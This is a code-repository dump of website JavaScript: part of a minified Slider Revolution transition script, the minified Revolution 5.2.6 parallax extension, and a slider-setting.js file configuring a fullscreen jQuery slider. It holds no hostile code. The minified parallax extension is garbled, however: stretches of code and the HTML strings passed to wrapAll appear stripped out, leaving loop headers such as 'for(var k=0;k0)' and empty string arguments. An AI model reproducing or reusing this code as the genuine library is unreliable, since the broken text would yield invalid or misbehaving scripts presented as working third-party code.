/\brandomrotateout\b/)?t.data("transform_out",o.randomrotate):a.match(/\bltl\b/)?t.data("transform_out",o.lfl):a.match(/\bltr\b/)?t.data("transform_out",o.lfr):a.match(/\bltt\b/)?t.data("transform_out",o.lft):a.match(/\bltb\b/)?t.data("transform_out",o.lfb):a.match(/\bstl\b/)?t.data("transform_out",o.sfl):a.match(/\bstr\b/)?t.data("transform_out",o.sfr):a.match(/\bstt\b/)?t.data("transform_out",o.sft):a.match(/\bstb\b/)?t.data("transform_out",o.sfb):a.match(/\bskewtoleftshortout\b/)?t.data("transform_out",o.skewfromleftshort):a.match(/\bskewtorightshortout\b/)?t.data("transform_out",o.skewfromrightshort):a.match(/\bskewtoleftout\b/)?t.data("transform_out",o.skewfromleft):a.match(/\bskewtorightout\b/)?t.data("transform_out",o.skewfromright):a.match(/\bfadeout\b/)&&t.data("transform_out",o.fade),void 0!=t.data("customin")&&t.data("transform_in",t.data("customin")),void 0!=t.data("customout")&&t.data("transform_out",t.data("customout"))})}}(jQuery);
--------------------------------------------------------------------------------
/report/js/revolution/js/extensions/revolution.extension.parallax.min.js:
--------------------------------------------------------------------------------
1 | /********************************************
2 | * REVOLUTION 5.2.6 EXTENSION - PARALLAX
3 | * @version: 2.2.0 (16.11.2016)
4 | * @requires jquery.themepunch.revolution.js
5 | * @author ThemePunch
6 | *********************************************/
7 | !function(a){"use strict";function e(a,b){a.lastscrolltop=b}var b=jQuery.fn.revolution,c=b.is_mobile(),d={alias:"Parallax Min JS",name:"revolution.extensions.parallax.min.js",min_core:"5.3",version:"2.2.0"};jQuery.extend(!0,b,{checkForParallax:function(a,e){function g(a){if("3D"==f.type||"3d"==f.type){a.find(".slotholder").wrapAll(''),a.find(".tp-parallax-wrap").wrapAll(''),a.find(".rs-parallaxlevel-tobggroup").closest(".tp-parallax-wrap").wrapAll('');var b=a.find(".dddwrapper"),c=a.find(".dddwrapper-layer"),d=a.find(".dddwrapper-layertobggroup");d.appendTo(b),"carousel"==e.sliderType&&("on"==f.ddd_shadow&&b.addClass("dddwrappershadow"),punchgs.TweenLite.set(b,{borderRadius:e.carousel.border_radius})),punchgs.TweenLite.set(a,{overflow:"visible",transformStyle:"preserve-3d",perspective:1600}),punchgs.TweenLite.set(b,{force3D:"auto",transformOrigin:"50% 50%"}),punchgs.TweenLite.set(c,{force3D:"auto",transformOrigin:"50% 50%",zIndex:5}),punchgs.TweenLite.set(e.ul,{transformStyle:"preserve-3d",transformPerspective:1600})}}if("stop"===b.compare_version(d).check)return!1;var f=e.parallax;if(!f.done){if(f.done=!0,c&&"on"==f.disable_onmobile)return!1;"3D"!=f.type&&"3d"!=f.type||(punchgs.TweenLite.set(e.c,{overflow:f.ddd_overflow}),punchgs.TweenLite.set(e.ul,{overflow:f.ddd_overflow}),"carousel"!=e.sliderType&&"on"==f.ddd_shadow&&(e.c.prepend(''),punchgs.TweenLite.set(e.c.find(".dddwrappershadow"),{force3D:"auto",transformPerspective:1600,transformOrigin:"50% 50%",width:"100%",height:"100%",position:"absolute",top:0,left:0,zIndex:0}))),e.li.each(function(){g(jQuery(this))}),("3D"==f.type||"3d"==f.type)&&e.c.find(".tp-static-layers").length>0&&(punchgs.TweenLite.set(e.c.find(".tp-static-layers"),{top:0,left:0,width:"100%",height:"100%"}),g(e.c.find(".tp-static-layers"))),f.pcontainers=new Array,f.pcontainer_depths=new Array,f.bgcontainers=new Array,f.bgcontainer_depths=new Array,e.c.find(".tp-revslider-slidesli .slotholder, .tp-revslider-slidesli .rs-background-video-layer").each(function(){var a=jQuery(this),b=a.data("bgparallax")||e.parallax.bgparallax;b="on"==b?1:b,void 0!==b&&"off"!==b&&(f.bgcontainers.push(a),f.bgcontainer_depths.push(e.parallax.levels[parseInt(b,0)-1]/100))});for(var h=1;h<=f.levels.length;h++)e.c.find(".rs-parallaxlevel-"+h).each(function(){var a=jQuery(this),b=a.closest(".tp-parallax-wrap");b.data("parallaxlevel",f.levels[h-1]),b.addClass("tp-parallax-container"),f.pcontainers.push(b),f.pcontainer_depths.push(f.levels[h-1])});"mouse"!=f.type&&"scroll+mouse"!=f.type&&"mouse+scroll"!=f.type&&"3D"!=f.type&&"3d"!=f.type||(a.mouseenter(function(b){var c=a.find(".active-revslide"),d=a.offset().top,e=a.offset().left,f=b.pageX-e,g=b.pageY-d;c.data("enterx",f),c.data("entery",g)}),a.on("mousemove.hoverdir, mouseleave.hoverdir, trigger3dpath",function(b,c){var d=c&&c.li?c.li:a.find(".active-revslide");if("enterpoint"==f.origo){var g=a.offset().top,h=a.offset().left;void 0==d.data("enterx")&&d.data("enterx",b.pageX-h),void 0==d.data("entery")&&d.data("entery",b.pageY-g);var i=d.data("enterx")||b.pageX-h,j=d.data("entery")||b.pageY-g,k=i-(b.pageX-h),l=j-(b.pageY-g),m=f.speed/1e3||.4}else var g=a.offset().top,h=a.offset().left,k=e.conw/2-(b.pageX-h),l=e.conh/2-(b.pageY-g),m=f.speed/1e3||3;"mouseleave"==b.type&&(k=f.ddd_lasth||0,l=f.ddd_lastv||0,m=1.5);for(var n=0;njQuery(window).height()){var h=d;d=c,c=h}var i=a.width(),j=a.height(),k=360/i*d,l=180/j*c,m=f.speed/1e3||3,n=[];if(g.find(".tp-parallax-container").each(function(a){n.push(jQuery(this))}),a.find(".tp-static-layers .tp-parallax-container").each(function(){n.push(jQuery(this))}),jQuery.each(n,function(){var a=jQuery(this),b=parseInt(a.data("parallaxlevel"),0),c=b/100,d=k*c*2,e=l*c*4;punchgs.TweenLite.to(a,m,{force3D:"auto",x:d,y:e,ease:punchgs.Power3.easeOut,overwrite:"all"})}),"3D"==f.type||"3d"==f.type){var o=".tp-revslider-slidesli .dddwrapper, .dddwrappershadow, .tp-revslider-slidesli .dddwrapper-layer, .tp-static-layers .dddwrapper-layer";"carousel"===e.sliderType&&(o=".tp-revslider-slidesli .dddwrapper, .tp-revslider-slidesli .dddwrapper-layer, .tp-static-layers .dddwrapper-layer"),e.c.find(o).each(function(){var a=jQuery(this),c=f.levels[f.levels.length-1]/200,d=k*c,g=l*c*3,h=0==e.conw?0:Math.round(k/e.conw*c*500)||0,i=0==e.conh?0:Math.round(l/e.conh*c*700)||0,j=a.closest("li"),n=0,o=!1;a.hasClass("dddwrapper-layer")&&(n=f.ddd_z_correction||65,o=!0),a.hasClass("dddwrapper-layer")&&(d=0,g=0),j.hasClass("active-revslide")||"carousel"!=e.sliderType?"on"!=f.ddd_bgfreeze||o?punchgs.TweenLite.to(a,m,{rotationX:i,rotationY:-h,x:d,z:n,y:g,ease:punchgs.Power3.easeOut,overwrite:"all"}):punchgs.TweenLite.to(a,.5,{force3D:"auto",rotationY:0,rotationX:0,z:0,ease:punchgs.Power3.easeOut,overwrite:"all"}):punchgs.TweenLite.to(a,.5,{force3D:"auto",rotationY:0,z:0,x:0,y:0,rotationX:0,ease:punchgs.Power3.easeOut,overwrite:"all"}),"mouseleave"==b.type&&punchgs.TweenLite.to(jQuery(this),3.8,{z:0,ease:punchgs.Power3.easeOut})})}}));var i=e.scrolleffect;if(i.bgs=new Array,i.on){if("on"===i.on_slidebg)for(var h=0;ha.lastwindowheight?f.top/f.height:f.bottom>a.lastwindowheight?(f.bottom-a.lastwindowheight)/f.height:0;if(a.scrollproc=i,b.callBackHandling&&b.callBackHandling(a,"parallax","start"),g.enable){var j=1-Math.abs(i);j=j<0?0:j,jQuery.isNumeric(g.visible_area)||g.visible_area.indexOf("%")!==-1&&(g.visible_area=parseInt(g.visible_area)/100),1-g.visible_area<=j?a.inviewport||(a.inviewport=!0,b.enterInViewPort(a)):a.inviewport&&(a.inviewport=!1,b.leaveViewPort(a))}if(c&&"on"==h.disable_onmobile)return!1;if("3d"!=h.type&&"3D"!=h.type){if(("scroll"==h.type||"scroll+mouse"==h.type||"mouse+scroll"==h.type)&&h.pcontainers)for(var k=0;k0){var l=h.pcontainers[k],m=h.pcontainer_depths[k]/100,n=Math.round(i*-(m*a.conh)*10)/10||0;l.data("parallaxoffset",n),punchgs.TweenLite.set(l,{overwrite:"auto",force3D:"auto",y:n})}if(h.bgcontainers)for(var k=0;k=0&&(s=1),"bottom"==q.direction&&i<=0&&(s=1),s=s>1?1:s<0?0:s,"on"===q.fade&&(t.opacity=s),"on"===q.blur){var u=(1-s)*q.maxblur;t["-webkit-filter"]="blur("+u+"px)",t.filter="blur("+u+"px)"}if("on"===q.grayscale){var v=100*(1-s),w="grayscale("+v+"%)";t["-webkit-filter"]=void 0===t["-webkit-filter"]?w:t["-webkit-filter"]+" "+w,t.filter=void 0===t.filter?w:t.filter+" "+w}punchgs.TweenLite.set(q.layers,t)}if(q.bgs!==!1){var s=1-r*q.multiplicator,t={backfaceVisibility:"hidden",force3D:"true"};if("top"==q.direction&&i>=0&&(s=1),"bottom"==q.direction&&i<=0&&(s=1),s=s>1?1:s<0?0:s,"on"===q.fade&&(t.opacity=s),"on"===q.blur){var u=(1-s)*q.maxblur;t["-webkit-filter"]="blur("+u+"px)",t.filter="blur("+u+"px)"}if("on"===q.grayscale){var v=100*(1-s),w="grayscale("+v+"%)";t["-webkit-filter"]=void 0===t["-webkit-filter"]?w:t["-webkit-filter"]+" "+w,t.filter=void 0===t.filter?w:t.filter+" "+w}punchgs.TweenLite.set(q.bgs,t)}}b.callBackHandling&&b.callBackHandling(a,"parallax","end")}})}(jQuery);
--------------------------------------------------------------------------------
/report/js/slider-setting.js:
--------------------------------------------------------------------------------
1 | /*---------------------------------------------------------------------
2 | File Name: slider-setting.js
3 | ---------------------------------------------------------------------*/
4 |
5 | "use strict";
6 | var tpj = jQuery;
7 |
8 | var revapi486;
9 | tpj(document).ready(function () {
10 | if (tpj("#rev_slider_486_1").revolution == undefined) {
11 | revslider_showDoubleJqueryError("#rev_slider_486_1");
12 | } else {
13 | revapi486 = tpj("#rev_slider_486_1").show().revolution({
14 | sliderType: "standard",
15 | jsFileLocation: "revolution/js/",
16 | sliderLayout: "fullscreen",
17 | dottedOverlay: "none",
18 | delay: 5000,
19 | navigation: {
20 | keyboardNavigation: "on",
21 | keyboard_direction: "horizontal",
22 | mouseScrollNavigation: "off",
23 | mouseScrollReverse: "default",
24 | onHoverStop: "on",
25 | touch: {
26 | touchenabled: "on",
27 | swipe_threshold: 75,
28 | swipe_min_touches: 1,
29 | swipe_direction: "horizontal",
30 | drag_block_vertical: false
31 | },
32 | arrows: {
33 | style: "gyges",
34 | enable: true,
35 | hide_onmobile: false,
36 | hide_onleave: true,
37 | hide_delay: 200,
38 | hide_delay_mobile: 1200,
39 | tmp: '',
40 | left: {
41 | h_align: "left",
42 | v_align: "center",
43 | h_offset: 0,
44 | v_offset: 0
45 | },
46 | right: {
47 | h_align: "right",
48 | v_align: "center",
49 | h_offset: 0,
50 | v_offset: 0
51 | }
52 | },
53 | bullets: {
54 | enable: true,
55 | hide_onmobile: true,
56 | hide_under: 800,
57 | style: "hebe",
58 | hide_onleave: false,
59 | direction: "horizontal",
60 | h_align: "center",
61 | v_align: "bottom",
62 | h_offset: 0,
63 | v_offset: 30,
64 | space: 5,
65 | tmp: ''
66 | }
67 | },
68 | viewPort: {
69 | enable: true,
70 | outof: "pause",
71 | visible_area: "70%",
72 | presize: false
73 | },
74 | responsiveLevels: [1240, 1024, 778, 480],
75 | visibilityLevels: [1240, 1024, 778, 480],
76 | gridwidth: [1240, 1024, 778, 480],
77 | gridheight: [500, 450, 400, 350],
78 | lazyType: "none",
79 | parallax: {
80 | type: "scroll",
81 | origo: "enterpoint",
82 | speed: 400,
83 | levels: [5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 46, 47, 48, 49, 50, 55],
84 | type: "scroll",
85 | },
86 | shadow: 0,
87 | spinner: "off",
88 | stopLoop: "off",
89 | stopAfterLoops: -1,
90 | stopAtSlide: -1,
91 | shuffle: "off",
92 | autoHeight: "off",
93 | hideThumbsOnMobile: "off",
94 | hideSliderAtLimit: 0,
95 | hideCaptionAtLimit: 0,
96 | hideAllCaptionAtLilmit: 0,
97 | debugMode: false,
98 | fallbacks: {
99 | simplifyAll: "off",
100 | nextSlideOnWindowFocus: "off",
101 | disableFocusListener: false,
102 | }
103 | });
104 | }
105 | });
--------------------------------------------------------------------------------